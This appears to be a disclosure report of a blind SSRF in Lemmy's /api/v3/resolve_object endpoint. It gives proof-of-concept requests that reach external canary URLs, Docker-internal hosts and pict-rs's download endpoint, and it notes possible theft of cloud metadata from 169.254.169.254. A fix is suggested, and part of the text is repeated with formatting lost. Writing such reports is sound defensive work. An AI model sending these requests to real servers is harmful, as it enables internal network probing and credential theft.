A blind SSRF vulnerability exists in the /api/v3/resolve_object endpoint.
Any normal authenticated user (no admin privileges required) can force the Lemmy backend to make arbitrary HTTP requests to:
- Internal Docker services using hostnames like http://pictrs:8080
- Private IPs on the Docker network
- Arbitrary external URLs
External URL - intended:
GET /api/v3/resolve_object?q=https://2e1ancu5q12ihxf9fqdwxww7r.canarytokens.com HTTP/1.1
Host: localhost:8536
Cookie: jwt=<normal-non-admin-token>
Internal service:
GET /api/v3/resolve_object?q=http://host.docker.internal:9999/test HTTP/1.1
Host: localhost:8536
Cookie: jwt=<normal-non-admin-token>
The vulnerability can be chained with pict-rs's legitimate /image/download?url= endpoint, to demonstrate both vectors at once. Example:
GET /api/v3/resolve_object?q=http://pictrs:8080/image/download?url=https://YOUR-CANARYTOKEN.site/test
Host: localhost:8536
Cookie: jwt=<normal-non-admin-token>
Impact: A user with a basic account can make Lemmy perform HTTP requests from its internal network context, enabling internal service enumeration, access to services not exposed publicly, and potential cloud metadata theft on cloud deployments like 169.254.169.254/latest/meta-data/ on AWS.
Suggested fix:
Probably apply the same IP validation used in fetch_link_metadata.
If I can help in any way with clarification, more info or the fix, feel free to let me know, I'd be happy to help! :)
A blind SSRF vulnerability exists in the
/api/v3/resolve_objectendpoint.Any normal authenticated user (no admin privileges required) can force the Lemmy backend to make arbitrary HTTP requests to:
External URL - intended:
Internal service:
The vulnerability can be chained with pict-rs's legitimate
/image/download?url=endpoint, to demonstrate both vectors at once. Example:Impact: A user with a basic account can make Lemmy perform HTTP requests from its internal network context, enabling internal service enumeration, access to services not exposed publicly, and potential cloud metadata theft on cloud deployments like 169.254.169.254/latest/meta-data/ on AWS.
Suggested fix:
Probably apply the same IP validation used in fetch_link_metadata.
If I can help in any way with clarification, more info or the fix, feel free to let me know, I'd be happy to help! :)